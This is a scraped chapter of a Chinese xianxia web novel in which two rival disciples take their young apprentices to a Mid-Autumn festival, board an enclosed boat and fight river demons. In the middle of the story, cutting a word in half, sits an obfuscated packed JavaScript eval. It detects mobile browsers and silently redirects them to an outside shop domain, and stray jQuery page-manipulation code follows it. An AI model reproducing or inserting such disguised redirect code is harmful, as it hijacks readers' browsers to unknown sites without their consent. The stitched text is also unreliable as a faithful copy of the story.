文趣网 > 都市小说 > 和宿敌绑定养徒系统后 > 30. 中秋
    这一天格外热闹,天还未暗,周围便处处都挂上了灯笼。

    阁楼外用红线串起的一大串灯笼发处氤氲的暖黄光,微风吹过,灯笼下挂着的铃铛发出此起彼伏的叮当响声。

    清河镇已经许久没这么热闹了。

    沉睡的巨兽像是撕开寂静的伪装,露出温热和跳动的热闹。

    桂花香气在蒸锅里变得温热,小贩们忙前忙后,不断招呼着往来行人。

    “山久,你和师父做得这个糕点闻起来就很香。”

    宿青临的腮帮子鼓鼓囊囊的,但话是一边闻着桂花糕的香气一边说出来的。

    若是能看到他的尾巴和耳朵,定然能猜到它们现在正摇摇晃晃的,和他一样朝附近的小摊里靠。

    为了避免吓到村民,每逢下山,虞漾都要在他们身上施加一道掩人耳目的阵法。

    比他们矮上一截的小孩子们举着憨态可掬的兔子灯从他们身旁擦肩而过,余旻苏眼睛瞪得大大的,无意识地跟着他们跑了几步。

    但她很快就被手上那根亮着的红绳子给拉回去了。

    根据谢未疏的经验来看,他觉得自己好不容易收回来的这个徒弟大概率和他一样想找个时机偷偷溜走。

    所以他才特地在她手腕上绑了一个锁魂绳。

    有什么样的徒弟就有什么样的师父,这句话完美适配他们师徒二人。

    还是虞漾想的办法。

    “师父,这么好的天我们真的还要去捉妖吗?”

    迟雾言拢了拢身上的衣服,学着虞漾一般在周身施了一道驱寒的阵法才觉得回暖。

    她没想到自己脱毛期一结束就染了风寒。

    虞漾感知到周围灵力的涌动,点点头,悄悄修了一下阵法的漏洞:“是啊,这是我们的职责。”

    小朋友们是在中秋节当天才知道的,每逢佳节,明澜宗都要永安河诛灭妄图作恶的妖怪。

    这还说得上是明澜宗的传统。

    “师姐,那个姓周的没来?”

    谢未疏特意朝身后所有能藏人的小摊看了好几眼,却没发现人影,于是语调轻快地问她。

    虞漾咬了一口月饼,嘟囔道:“不清楚……,没死外边就行。”

    余旻苏用另一只手拿着一个月饼,咬了一口,幼稚地将缺了口的月饼覆在目前挡住整个月亮。

    谢未疏不知道脑子里又在想什么歪主意,他提议道:“师姐,反正现在天色还没暗,我们去划船吧。”

    虞漾还没回答,小朋友们的眼睛倒是瞬间都被点亮。

    虞漾想拒绝的话永远都被堵在嘴里。

    这已经是本月的第三次了。

    谢未疏像是早就预料到一般,朝她轻浮地笑笑,然后他打了个响指。

    江水上的雾气散去,兀自出现一条船。

    他果然是早有预谋。

    苍伏攥住虞漾衣袍的力气又大了几分,虞漾用手撑着下巴,然后指着覆住整个船顶的棚子:“这样还怎么赏月亮?”

    谢未疏找的这个船很不一样,像是里三层外三层都被包住了一般,船顶和船身都被实木封住,唯一有一个入口能进去。

    虞漾打心眼里觉得他不靠谱,目光扫过眼里依旧闪着兴奋光芒的小朋友们:“你是怕我们被月光晒伤吗?”

    谢未疏闻言噗嗤一声,暧昧地靠近她,大逆不道地说:“师姐,月亮哪有我好看,不如赏我。”

    此时天色又暗了几分,天边只剩下一抹残红,云雾弥散之中,圆月渐渐浮现出来。

    但落在少年肩头的是未尽的残阳。

    渐暗的暖黄色光落在他的发梢,脖子上的黑痣在泼墨披发中给他添了几分妖孽,往上,高挺的鼻梁投下一小块阴影,薄唇微启,下颌线锋利若刀削。

    他整个人都是浸在夕阳的余韵里的,多了好几分与平日不同的温润气。

    狭长的双眸里也是亮晶晶的,直勾勾地盯着面前少女。

    虞漾一瞬间有一种错觉,要是他也有尾巴,那刚刚应该是能翘上天的程度。

    但这种想法很快就被另一种相悖的看法挡下去。

    虞漾有很长时间都觉得自己完全读不懂谢未疏。

    “师父,师叔,你们快来。”

    正处于探索期的小朋友们已经爬上了船,”没有一点觉得奇怪或者嫌弃的意思,虞漾一度怀疑他们应该没见过真正的船长什么样子。

    但上船之后,谢未疏的计划才刚刚开始。

    船内如同被精心布置过一般,连软榻和茶杯都被十分有条理地摆在里面。

    虞漾虽然很满意,但还是忍不住吐槽:“你还不如把出口也用帘子遮起来。

    “好主意。”

    现在船体完全被封起来,唯一能沟通外界的只剩下两侧的圆形小窗户。

    小朋友们现在都动摇西歪地躺在软榻上,刚来的新鲜感来的快去的也快,在一瞬间便荡然无存。

    虞漾看着都围在一起扒拉窗户的小朋友们,无声用眼神和谢未疏交流。

    看你惹出来的祸。

    烛火晃了又晃,谢未疏掏出一根软豪毛笔和一张宣纸:“这样吧,师叔我给你们变个戏法。”

    小孩子们立马抛下手头上正在干的事情,围坐在桌边。

    宿青临着急地轻轻拍拍桌子:“师叔,是什么戏法?”

    迟雾言拿起被他放在桌子上的纸,还没拿动,就被谢未疏眼疾手快地按住。

    谢未疏一扫而过小朋友们好奇的神色:“你们相不相信这个世界上有读心术?”

    围坐在一起的人齐齐摇头。

    虞漾是坐在另一边的,她早就清楚谢未疏的套路,所以没参与进来。

    她自顾自地掏出怀里的酒抿了一大口,喝酒误事,所以她掺杂了一大半的清水。

    谢未疏将注意力从虞漾那里回到小朋友身上,抬手间将手松开。

    余旻苏措手不及,和他较劲间人已经飞出去了,还是被红线扯回去的。

    余旻苏:“师父!(气急败坏)(叉腰)”

    谢未疏:(见惯不怪)(摇摇头)

    谢未疏将纸递给苍伏:“这样吧,你们在上面写什么都可以,我都能猜到。”

    “可以商量。”

    只见他们几个人半信半疑地瞥了谢未疏一眼,然后围在一起说小话,还幼稚地用手挡着笔迹,倒扣在桌子上。

    谢未疏微微勾唇:“都写好了?”

    “那你们闭上眼睛吧。”

    小孩子们听话地闭着眼睛,但时间在刹那间停止,谢未疏拿起倒扣的纸——

    上面写着“偷看是猪”。

    幼稚死了。

    谢未疏有掏出多准备的那张纸,在上面画了一朵向日葵。

    结果显而易见,除了余旻苏略显兴奋之外,其他人都怏怏不乐。

    夜幕降临,四周是化不开的浓雾,隐隐有惨败的绿光在水中幽幽浮动,小船推开涌动的河水缓缓向前。

    船头高悬起的那一盏灯被点燃,灯火憧憧,方寸之内游荡的魂魄俱是避让。

    粘稠如墨的河水倒影着一轮圆月,月光轻柔地洒在船头。

    虞漾单手撑着下巴,饶有兴味地看着浪潮之下探出来的那双干枯的手,水面漂浮着大片鲜红色的花,船每行一步,花便每开一寸。

    “快来了。”

    虞漾这句话一出,船上的,小朋友们都开始紧张起来,唯独谢未疏安安静静地坐在那,还劝她:“师姐,不用着急,会有人来解决的。”

    他正在努力回想当时河上飘灯大概是什么时候。

    虞漾敲敲窗户,看着在浪潮之下窥伺着这只船的眼睛,反问:“你确定?”

    还没等他回答,虞漾就先起身,拍拍衣袍:“我不喜欢等待的感觉,马上就到申时了。”

    谢未疏立马凑过去:“师姐,真的你相信我。”

    虞漾疑惑:“你难道和它们也达成合作了?”

    谢未疏:“……”

    是也不是。

    虞漾摇摇脑袋,试图让自己清醒一点:“好样的。”

    一道灵力波动打断了两人之间的谈话,虞漾侧身翻过才终于躲过。

    腰间莹润的玉佩流苏伴着谢未疏的动作轻晃。

    这灵力来得有些巧,不仅把谢未疏精心准备过得船给削成了敞篷款,还惊动了水里那些不断窥视船身的妖兽们。

    隐隐约约间让虞漾觉得有些熟悉,和周绥远的功法很像,但虞漾又能保证不是他。

    小朋友们倒是异常欢快,刚刚的烦闷一扫而空,扬起笑容看着天空上似乎更亮了一些的月亮。

    船越是行驶,周围开放的彼

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808087|206043||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    岸花就越是多,一团团一簇簇密集地装点在船身。

    今夜的灵力躁动很不对劲。

    虞漾伸手捻了一朵花,暗香汇聚成长河,河中又有无数鬼头躁动地长得脑袋嘶吼。

    但在看清来人的瞬间立马止住喊声。

    那朵猩红色的花被少女拿在手上,极其具有冲击力的艳色竟衬得她白皙如玉,眉眼深邃。

    荧黄色的彩带般的圈环绕在她旁边,虞漾挑着眉伸手点了点刚刚张牙舞爪鬼头们。

    手刚抬起,鬼头们瞬间化作齑粉,连萦绕在她身边的暗香也烟消云散。

    “怎么连他们都不敢说?”

    虞漾转头看向死活也不开口的谢未疏:“你又惹谁了?”

    谢未疏这下总算愿意开口和她透露那么一点点:“师姐,反正一定有人会来救我们,你就相信我吧。”

    虞漾不知道他到底是从那里来的自信,但根据鬼头的反应,虞漾猜测这下谢未疏大概率是惹了不小的麻烦出来。

    虞漾反正是怎么都不肯再相信他的鬼话。

    她抬手按住手中正不断躁动的断水,叹口气。

    少女?丽的面容在月光下显得更加明艳,她今天穿了一件月白道袍,马尾高束在后脑勺,脸上的表情正无声对他说——

    谢未疏,你又惹麻烦了。

    虞漾没再多言,再伸手放开握在手里的断水。

    长剑凌空,从水面轻划过,凌冽剑气瞬间让江水凝结成霜,只能听见无数挣扎的吼声。

    虞漾再伸手将剑收回手中,对立在身边还执着于等待别人来救的谢未疏说:“不如先打一场再说,老规矩。”

    少女的眼睛明晃晃的,圆圆的瞳仁中不含任何杂质,谢未疏迎面对上她的目光,将别在腰间的长枪抽出来。

    未来或许真的是可以改变的。

    谢未疏这样想。

    毕竟为了防,他不仅回去连夜打造了一辆坚固的船,还给自己找了一把新武器,甚至还和妖族达成了一点点无伤大雅的合作。

    反正他的修仙界信用分已经来到了惊人的负数。

    到时候再反悔就行了。

    虞漾利落的将剑刃没入妖兽们的胸口,一炷香便能解决好几个。

    换了武器的缘故,银白色的长枪在少年手中变得极其灵活。

    虽说巫族看灵根,但谢未疏偏偏不一样。

    少年虚悬于河水之上,长枪划过一条直线,再垂首,少年漆黑的瞳眸中倒映着猩红的火光,燎原的火势燃红了江水。

    火舌残暴地吞卷着水中的妖兽,触目惊心的惨叫声在江水上盘旋低绕,烈焰吞噬着一切,只剩下灼目的白。

    断水上的血珠滚落在河水中,又缓慢地沉下,白光中走来一个迷糊的影子,霎时地动山摇。

    河水比以往更加湍急,突如其来的灵力波动让谢未疏和虞漾都难以稳住身形,两人脚步轻点回到船上。

    “坏了坏了,怎么连雾面鬼都来了?”

    虞漾眯着眼睛回想起以前和雾面鬼交手的经验,拍拍他的肩膀:“师弟,这次该你替师姐分忧了。”

    雾面鬼最大的特色在于其黏腻的触手,虞漾对此记忆犹新,当时她和谢未疏两人偷跑出宗门,被云师兄特意抓回来。

    还是这样的一个中秋,还是在永安河边,他们三个人遇到了这样的怪物。

    她和谢未疏两个人就这样把云师兄推出去了。

    两人再次对视,眸光微动间,两人异口同声:“老办法。”

    谢未疏:“可是云师兄又不在这里?”

    于是两人的视线齐刷刷地来到船身上。

    阁楼顶上的风凉凉的,少女身上淡淡的酒气随风飘过来,像是一支羽毛渐渐沉入湖水之中。

    虞漾有些后悔自己竟然不提一壶酒过来,想着想着,她突然觉得自己好像忘记什么东西了。

    谢未疏也有一样的感觉。

    思绪就好像被堵塞起来,他总觉得自己好像忘记了什么。

    直到手腕上清晰的紧绷感传来,被勒出浅浅的红痕。

    余旻苏从天而降,准确来说她应该是被扔过来的。

    虞漾紧张地将喉咙里的就灌下去,提着剑向下冲。

    虞漾:“……”

    她刚刚好像忘记自己有徒弟这件事了。